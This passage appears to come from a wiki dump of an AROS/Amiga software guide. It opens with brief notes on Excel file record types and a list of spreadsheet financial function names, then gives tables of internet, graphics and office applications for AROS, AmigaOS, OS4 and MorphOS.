***LabelSst cell record (4-byte integer that specifies a string in the Shared Strings Table (SST). Specifically, the integer corresponds to the array index in the RGB field of the SST)
***Formula cell record (FormulaValue structure in the 8 bytes that follow the cell structure. The next 6 bytes can be ignored, and the rest of the record is a CellParsedFormula structure that contains the formula itself)
***MulBlank record (first 2 bytes give the row, and the next 2 bytes give the column that the series of blanks starts at. Next, a variable length array of cell structures follows to store formatting information, and the last 2 bytes show what column the series of blanks ends on)
***MulRK record 
***Shared String Table (SST) contains all of the string values in the workbook.

ACCRINT(), ACCRINTM(), AMORDEGRC(), AMORLINC(), 
COUPDAYBS(), COUPDAYS(), COUPDAYSNC(), COUPNCD(), COUPNUM(), COUPPCD(), 
CUMIPMT(), CUMPRINC(), 
DB(), DDB(), DISC(), 
DOLLARDE(), DOLLARFR(), 
DURATION(), EFFECT(), FV(), FVSCHEDULE(), 
INTRATE(), IPMT(), IRR(), ISPMT(), MDURATION(), MIRR(), NOMINAL(), NPER(), NPV(), 
ODDFPRICE(), ODDFYIELD(), ODDLPRICE(), ODDLYIELD(), 
PMT(), PPMT(), PRICE(), PRICEDISC(), PRICEMAT(), PV(), RATE(), 
RECEIVED(), SLN(), SYD(), TBILLEQ(), TBILLPRICE(), TBILLYIELD(), 
VDB(), XIRR(), XNPV(), YIELD(), YIELDDISC(), YIELDMAT(),


&lt;pre&gt;
&lt;/pre&gt;


&lt;pre&gt;
&lt;/pre&gt;

&lt;pre&gt;
&lt;/pre&gt;

{{BookCat}}</text>
      <sha1>ib6wximndvzh7v1oqazf34p3oc03mt9</sha1>
    </revision>
    <revision>
      <id>4670621</id>
      <parentid>4670588</parentid>
      <timestamp>2026-09-17T11:38:52Z</timestamp>
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==Introduction==


[[#Graphical Image Editing Art]]
[[#Office Application]]
[[#Audio]]

[[#Misc Application]]
[[#Games &amp; Emulation]]

[[#Application Guides]]

[[#top|...to the top]]


[[#top|...to the top]]

Most apps can be opened on the Workbench (aka publicscreen pubscreen) which is the default display option but can offer a custom one set to your configurations (aka custom screen mode promotion). These custom ones tend to stack so the possible use of A-M/A-N method of switching between full screens and the ability to pull down screens as well 

If you are interested in creating or porting new software, see [http://en.wikibooks.org/wiki/Aros/Developer/Docs here]

{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Internet Applications 
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1 (68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Web Online Browser [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=network/browser/ Amelinium], Odyssey 2.0, [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1175&amp;highlight=odyssey&amp;rowstart=100 Odyssey 3.0], [], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/comm/www Amelinium], [https://blog.alb42.de/programs/amifox/ amifox] with [https://github.com/alb42/wrp wrp server], IBrowse*, [https://github.com/zapek/Voyager Voyager], [https://github.com/amigazen/aweb3/ AWeb 3.6 src], [https://github.com/matjam/aweb AWeb Src], [http://aminet.net/package/comm/www/NetSurf-m68k-sources Netsurf], [], 
|&lt;!--AmigaOS4--&gt;[ Odyssey OWB], [ Timberwolf (Firefox port 2011)], [http://amigaworld.net/modules/newbb/viewtopic.php?forum=32&amp;topic_id=32847 OWB-mui], [http://strohmayer.org/owb/ OWB-Reaction], IBrowse*, [http://os4depot.net/index.php?function=showfile&amp;file=network/browser/aweb.lha AWeb], Voyager, [http://www.os4depot.net/index.php?function=browse&amp;cat=network/browser Netsurf], 
|&lt;!--MorphOS--&gt;Wayfarer, [http://fabportnawak.free.fr/owb/ Odyssey OWB], [ Netsurf], IBrowse*, AWeb, [], 
|-
|&lt;!--Sub Menu--&gt;YouTube, Dailymotion website downloading videos audio [https://github.com/yt-dlp/yt-dlp yt-dlp], [https://clipgrab.org/ clipgrab],  
|&lt;!--AROS--&gt;[], [https://blog.alb42.de/amitube/ Amitube], 
|&lt;!--Amiga OS--&gt;[https://blog.alb42.de/amitube/ Amitube], [ smtube], 
|&lt;!--AmigaOS4--&gt;[https://blog.alb42.de/amitube/ Amitube], getVideo, Tubexx, [https://github.com/walkero-gr/aiostreams aiostreams], 
|&lt;!--MorphOS--&gt;[ ytsearch], [https://blog.alb42.de/amitube/ Amitube], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 getVideo], Tubexx 
|-
|&lt;!--Sub Menu--&gt;Old style E-mailing SMTP POP3 IMAP based 
|&lt;!--AROS--&gt;Emailinium, [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/email SimpleMail], [http://sourceforge.net/projects/simplemail/files/ src], [https://github.com/jens-maus/yam YAM] 
|&lt;!--Amiga OS--&gt;Emailinium, [http://sourceforge.net/projects/simplemail/files/ SimpleMail], [https://github.com/jens-maus/yam YAM]
|&lt;!--AmigaOS4--&gt;SimpleMail, YAM, 
|&lt;!--MorphOS--&gt; SimpleMail, YAM
|-
|&lt;!--Sub Menu--&gt;IRC, ICB, 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat WookieChat], [https://sourceforge.net/projects/wookiechat/ Wookiechat src], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat AiRcOS], Jabberwocky, 
|&lt;!--Amiga OS--&gt;[https://github.com/charabaruk/WookieChat Wookiechat], AmIRC 
|&lt;!--AmigaOS4--&gt;Wookiechat 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=5 Wookiechat], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 AmIRC], 
|-
|&lt;!--Sub Menu--&gt;Instant Messaging IM like [https://github.com/BlitterStudio/amidon Hollywood lang based Mastodon client], BlueSky AT protocol, Facebook(TM), Twitter X (TM), Bitlbee IRC Gateway and others 
|&lt;!--AROS--&gt;[https://github.com/kaffeine1/telegram-amiga telegram-amiga], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat jabberwocky], 
|&lt;!--Amiga OS--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], CLIMM, SabreMSN, [https://sourceforge.net/projects/ajabberwocky/ jabberwocky], 
|&lt;!--AmigaOS4--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], SabreMSN,
|&lt;!--MorphOS--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 PolyglotNG], SabreMSN,
|-
|&lt;!--Sub Menu--&gt;Torrents 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/p2p ArTorr], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;CTorrent, Transmission 
|&lt;!--MorphOS--&gt;MLDonkey, Beehive, [http://morphos.lukysoft.cz/en/vypis.php?kat=5 Transmission], CTorrent, 
|-
|&lt;!--Sub Menu--&gt;FTP 
|&lt;!--AROS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], MarranoFTP, [https://aminet.net/package/comm/tcp/wput-0.3.4c.i386-aros wput i386 c src]
|&lt;!--Amiga OS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], [http://aminet.net/package/comm/tcp/AmiFTP AmiFTP], AmiTradeCenter, ncFTP, [https://aminet.net/package/comm/tcp/sana2-tftpclient sana2 tftpclient c src]
|&lt;!--AmigaOS4--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], 
|&lt;!--MorphOS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 Pftp], [http://aminet.net/package/comm/tcp/AmiFTP-1.935-OS4 AmiFTP], 
|-
|&lt;!--Sub Menu--&gt;WYSIWYG Web Site Editor
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Internet Radio Streaming Audio [http://www.gnu.org/software/gnump3d/ gnump3d], [http://www.icecast.org/ Icecast2] Server (Broadcast) and Client (Listen), [ mpd], [http://darkice.sourceforge.net/ DarkIce], [http://www.dyne.org/software/muse/ Muse], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc], Mplayer (Icecast Client only), 
|&lt;!--Amiga OS--&gt;[https://github.com/sandlbn/TuneFinder TuneFinder C Src], [https://github.com/sandlbn/TuneFinderMUI TuneFinderMUI], [http://amigazeux.net/anr/ AmiNetRadio], [https://github.com/boingball/MintAMP MintAMP], [], 
|&lt;!--AmigaOS4--&gt;[http://www.tunenet.co.uk/ Tunenet], 
|&lt;!--MorphOS--&gt;Mplayer, AmiNetRadio, 
|-
|&lt;!--Sub Menu--&gt;VoIP (Voice over IP) with SIP Client (Session Initiation Protocol) or Asterisk IAX2 Clients Softphone (skype like) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;AmiPhone with Speak Freely, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Weather Forecast 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ WeatherBar], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench AWeather], []
|&lt;!--Amiga OS--&gt;[http://amigazeux.net/wetter/ Wetter], [https://github.com/emartisoft/AmiWeatherForecasts AmiWeatherForecasts src], 
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/?function=showfile&amp;file=utility/workbench/flipclock.lha FlipClock], 
|&lt;!--MorphOS--&gt;[http://amigazeux.net/wetter/ Wetter], 
|-
|&lt;!--Sub Menu--&gt;Street Road Maps Route Planning GPS Tracking  
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/muimapparium/ MuiMapparium] [https://build.alb42.de/ Build of MuiMapp versions], 
|&lt;!--Amiga OS--&gt;AmiAtlas*, UKRoutePlus*, [http://blog.alb42.de/ AmOSM], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://blog.alb42.de/programs/mapparium/ Mapparium], 
|-
|&lt;!--Sub Menu--&gt;Clock and Date setting from the internet (either ntp or websites) [https://www.timeanddate.com/worldclock/ World Clock], [http://www.time.gov/ NIST], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc ntpsync],  
|&lt;!--Amiga OS--&gt;ntpsync 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Newsgroups
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;[http://newscoaster.sourceforge.net/ Newscoaster], [https://github.com/jens-maus/newsrog NewsRog], [ WorldNews], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;RSS 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/Team-Boingo/AmiRSS AmiRSS src]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;AI
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/murinsel/AmigaAI Claude], [https://github.com/geekychris/amiga_mcp AI on host machine], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;BBS
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Graphical Image Editing Art==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Image Editing
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Pixel Raster Artwork [https://github.com/LibreSprite/LibreSprite LibreSprite based on GPL aseprite], [https://github.com/abetusk/hsvhero hsvhero], [], 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/zunetools/files/ZunePaint/ ZunePaint], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit LunaPaint], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit GrafX2], [ LodePaint needs OpenGL], 
|&lt;!--Amiga OS--&gt;[http://www.amigaforever.com/classic/download.html PPaint], GrafX2, [https://github.com/grovdata/Amiga_Sources/blob/master/software.md DeluxePaint], [http://www.amiforce.de/perfectpaint/perfectpaint.php PerfectPaint], Zoetrope, Brilliance2*, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit LodePaint], GrafX2, 
|&lt;!--MorphOS--&gt;Sketch, Pixel*, GrafX2, [http://morphos.lukysoft.cz/en/vypis.php?kat=3 LunaPaint]
|-
|&lt;!--Sub Menu--&gt;Image viewing 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ ZuneView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer LookHere], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer LoView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer PicShow] , [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album], 
|&lt;!--Amiga OS--&gt;PicShow, PicView, Photoalbum,
|&lt;!--AmigaOS4--&gt;WarpView, PicShow, flPhoto, Thumbs, [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 ShowGirls], [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album]
|-
|&lt;!--Sub Menu--&gt;Photography retouching / Image Manipulation like Photoshop(tm)  
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit RNOEffects], 
|&lt;!--Amiga OS--&gt;[ Tecsoft Video Paint aka TVPaint], Photogenics*, ArtEffect*, ImageFX*, XiPaint, fxPaint, ImageMasterRT, Opalpaint, 
|&lt;!--AmigaOS4--&gt;WarpView, flPhoto, [http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit Photocrop]
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 ShowGirls], ImageFX*, 
|-
|&lt;!--Sub Menu--&gt;Manage RAW picture folder galleries like Darktable, RAWtherapy, etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Graphic Format Converter - ICC profile support sRGB, Adobe RGB, XYZ and linear RGB 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;GraphicsConverter, ImageStudio, [http://www.coplabs.org/artpro.html ArtPro]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Thumbnail Generator [], 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ ZuneView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/shell Thumbnail Generator]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Icon Editor
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/iconedit Archives], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench Icon Toolbox], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/iconedit IconEditor]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;2D Pixel Art Animation 
|&lt;!--AROS--&gt;Lunapaint
|&lt;!--Amiga OS--&gt;PPaint, AnimatED, Scala*, GoldDisk MovieSetter*, Walt Disney's Animation Studio*, ProDAD*, [https://github.com/historicalsource/DeluxePaint DeluxePaint src], Brilliance
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 Titler] 
|-
|&lt;!--Sub Menu--&gt;2D SVG based MovieSetter type 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;MovieSetter*, Fantavision*
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Morphing 
|&lt;!--AROS--&gt;[ GLMorph]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;2D Cad (qcad-&gt;LibreCAD, etc.) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Xcad, MaxonCAD
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Cad like FreeCad, BRL-CAD, OpenSCAD, AvoCADo, etc. using dxf, obj (vertices), blend, 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;XCad3d*, DynaCADD*, [https://aminet.net/package/gfx/3d/Cycas178_EN Cycas]*, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Model Rendering of glft (json) gbl (png jpg), usdz (USD files with materials, textures, and animations), FBX Filmbox is a proprietary Autodesk format, 
|&lt;!--AROS--&gt;POV-Ray
|&lt;!--Amiga OS--&gt;[http://www.discreetfx.com./amigaproducts.html CINEMA 4D]*, POV-Ray, Lightwave3D*, Real3D*, Caligari24*, Reflections/Monzoom*, [https://github.com/privatosan/RayStorm Raystorm src], Tornado 3D, [https://github.com/AlphaPixel/Eric-Graham-1987-Juggler-Raytracer-1.0 Eric-Graham-1987-Juggler-Raytracer-1.0]
|&lt;!--AmigaOS4--&gt;Blender, POV-Ray, Yafray
|&lt;!--MorphOS--&gt;Blender, POV-Ray, Yafray
|-
|&lt;!--Sub Menu--&gt;3D Format Converter [], [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=graphics/convert/ 3doc.i386-aros], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=showfile&amp;file=graphics/convert/ivcon.lha IVCon]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen grabbing display 
|&lt;!--AROS--&gt;[ Screengrabber], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/misc snapit], [http://archives.arosworld.org/index.php?function=browse&amp;cat=video/record screen recorder], []
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Grab graphics music from apps [https://github.com/Malvineous/ripper6 ripper6], [],
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Office Application==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Office
!width:10%;|AROS (x86)
!width:10%;|[http://en.wikipedia.org/wiki/Amiga_software Commodore-Amiga OS 3.1] (68k)
!width:10%;|[http://en.wikipedia.org/wiki/AmigaOS_4 Hyperion OS4] (PPC)
!width:10%;|[http://en.wikipedia.org/wiki/MorphOS MorphOS] (PPC)
|-
|&lt;!--Sub Menu--&gt;Office Suite 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[ Softwood Final Office], [ Wordworth Office], [ Digita Office],  [ The Works!], [ Europress Mini Office], [], [ Papyrus Office Demo], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[ Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Word-processing 
|&lt;!--AROS--&gt;[https://finalwriter.godaddysites.com/ Final Writer 7*], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1995&amp;rowstart=20&amp;pid=12668#post_12668 Slovo], [https://github.com/sodero/MUI-Vim/releases MUI-Vim], [https://archives.arosworld.org/index.php?function=browse&amp;cat=office/wordprocessing Cinnamon Writer], [], 
|&lt;!--AmigaOS--&gt;[ Softwood FinalCopy II*], Haage AmigaWriter*, Digita WordWorth*, Softwood FinalWriter*, Micro-Systems Excellence 3*, Arnor Protext, Rashumon, [ InterWord], [ KindWords], [WordPerfect], [ New Horizons Flow], [ CygnusEd Pro], [ Micro-systems Scribble], 
|&lt;!--AmigaOS4--&gt;AbiWord, [ CinnamonWriter], 
|&lt;!--MorphOS--&gt;[ Cinnamon Writer], [http://www.meta-morphos.org/viewtopic.php?topic=1246&amp;forum=53 scriba], [http://morphos.lukysoft.cz/en/index.php Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Spreadsheets 
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/leu/ Leu], [https://archives.arosworld.org/index.php?function=browse&amp;cat=office/spreadsheet ], 
|&lt;!--AmigaOS--&gt;[https://aminet.net/package/biz/spread/ignition-src Ignition Src 1.3], [MaxiPlan 500 Plus], [OXXI Plan/IT v2.0 Speadsheet], [ Superplan], [ Creative Developments TurboCalc], [ ProCalc], [ InterSpread], [Digita DGCalc], [ Gold Disk Advantage], [ Micro-systems Analyze!]
|&lt;!--AmigaOS4--&gt;Gnumeric, [https://ignition-amiga.sourceforge.net/ Ignition], 
|&lt;!--MorphOS--&gt;[ ignition], [http://morphos.lukysoft.cz/en/vypis.php Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Presentations
|&lt;!--AROS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, 
|&lt;!--Amiga OS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, [https://github.com/evaneykelen/mediapoint-amiga MediaPoint C and asm], PointRider, Scala*, 
|&lt;!--Amiga OS4--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, PointRider 
|&lt;!--MorphOS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, PointRider
|-
|&lt;!--Sub Menu--&gt;Databases 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=office/database BeeBase], 
|&lt;!--Amiga OS--&gt;Precision Superbase 4 Pro*, Arnor Prodata*, [https://sourceforge.net/projects/beebase/ BeeBase], Datastore, FinalData*, AmigaBase, Fiasco, Twist2*, [Digita DGBase], [], 
|&lt;!--AmigaOS4--&gt;BeeBase, SQLite, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=6 BeeBase], 
|-
|&lt;!--Sub Menu--&gt;PDF Viewing and editing digital signatures 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/arospdf/ ArosPDF via splash], [https://github.com/wattoc/AROS-vpdf vpdf wip], 
|&lt;!--Amiga OS--&gt;APDF 
|&lt;!--AmigaOS4--&gt;AmiPDF 
|&lt;!--MorphOS--&gt;APDF, vPDF, 
|-
|&lt;!--Sub Menu--&gt;Note Taking markdown support like Obsidian like, joplin, OneNote, EverNotes, xournalpp, etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Study and analyse, collect, organize, annotate, cite, and share
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;PIM Personal Information Manager - Day Diary Planner Calendar App 
|&lt;!--AROS--&gt;[ ], [ ], [ ], 
|&lt;!--Amiga OS--&gt;Digita Organiser*, On The Ball, Everyday Organiser, [ Contact Manager], 
|&lt;!--AmigaOS4--&gt;AOrganiser, 
|&lt;!--MorphOS--&gt;[http://polymere.free.fr/orga_en.html PolyOrga], 
|-
|&lt;!--Sub Menu--&gt;Accounting
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=office/misc ETB], LoanCalc, [ ], [ ], [ ], 
|[ Digita Home Accounts2], Accountant, Small Business Accounts, Account Master, [ Amigabok], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Project Management Research 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;SuperGantt, SuperPlan, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Desktop 
|&lt;!--AROS--&gt;Wanderer, Scalos, Workbook, DOpus5, 
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[https://github.com/zapek/Ambient Ambient Src]
|-
|&lt;!--Sub Menu--&gt;System Wide Search 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=utility/filetool Finder], [], [], 
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System Wide Dictionary - multilingual [http://sourceforge.net/projects/babiloo/ Babiloo], [http://code.google.com/p/stardict-3/ StarDict], 
|&lt;!--AROS--&gt;[ ],  
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System wide Thesaurus - multi lingual
|&lt;!--AROS--&gt;[ ], 
|Kuma K-Roget*, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Sticky Desktop Notes (post it type) 
|&lt;!--AROS--&gt;[http://aminet.net/package/util/wb/amimemos.i386-aros AmiMemos], [https://aminet.net/package/util/wb/amimemos.src-aros AmiMemos Src], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/util/wb/StickIt-2.00 StickIt v2], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;DTP Desktop Publishing 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit RNOPublisher], 
|&lt;!--Amiga OS--&gt;[http://pagestream.org/ Pagestream]*, Professional Pro Page*, Saxon Publisher, Pagesetter, PenPal, 
|&lt;!--AmigaOS4--&gt;[http://pagestream.org/ Pagestream]* 
|&lt;!--MorphOS--&gt;[http://pagestream.org/ Pagestream]* 
|-
|&lt;!--Sub Menu--&gt;Printing 
|&lt;!--AROS--&gt;Postscript 3 laser printers, [https://github.com/bohunamiga/MintPRINT MintPRINT AirPrint IPP], [ Ghostscript], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/boingball/MintPRINT MintPRINT IPP], [https://github.com/Andiweli/AmiAirprint AmiAirprint], [http://www.irseesoft.de/tp_what.htm TurboPrint]*, [ GutenPrint], [https://aminet.net/package/comm/tcp/NetPrinter NetPrinter LPR], [], [], 
|&lt;!--AmigaOS4--&gt;(some native drivers), 
|&lt;!--MorphOS--&gt;early TurboPrint included, [https://aminet.net/package/comm/tcp/NetPrinter NetPrinter LPR], 
|-
|&lt;!--Sub Menu--&gt;Scanning 
|&lt;!--AROS--&gt;[ SCANdal], [], 
|&lt;!--Amiga OS--&gt;FxScan*, ScanQuix*, [https://github.com/boingball/MintSCAN MintSCAN], 
|&lt;!--AmigaOS4--&gt;SCANdal (Sane)
|&lt;!--MorphOS--&gt;SCANdal
|-
|&lt;!--Sub Menu--&gt;OCR
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/convert gOCR] 
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos-files.net/categories/office/text Tesseract] 
|-
|&lt;!--Sub Menu--&gt;Text Editing
|&lt;!--AROS--&gt;Jano Editor (already installed as Editor), [http://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit EdiSyn], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit Annotate], [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit Vim], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit FrexxEd] [https://github.com/vidarh/FrexxEd src], [ NoWinEd], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/text/edit/TurboText20 TurboText20 ttx], Annotate, MicroGoldED/CubicIDE*, CygnusED*, Protext*, NoWinED, 
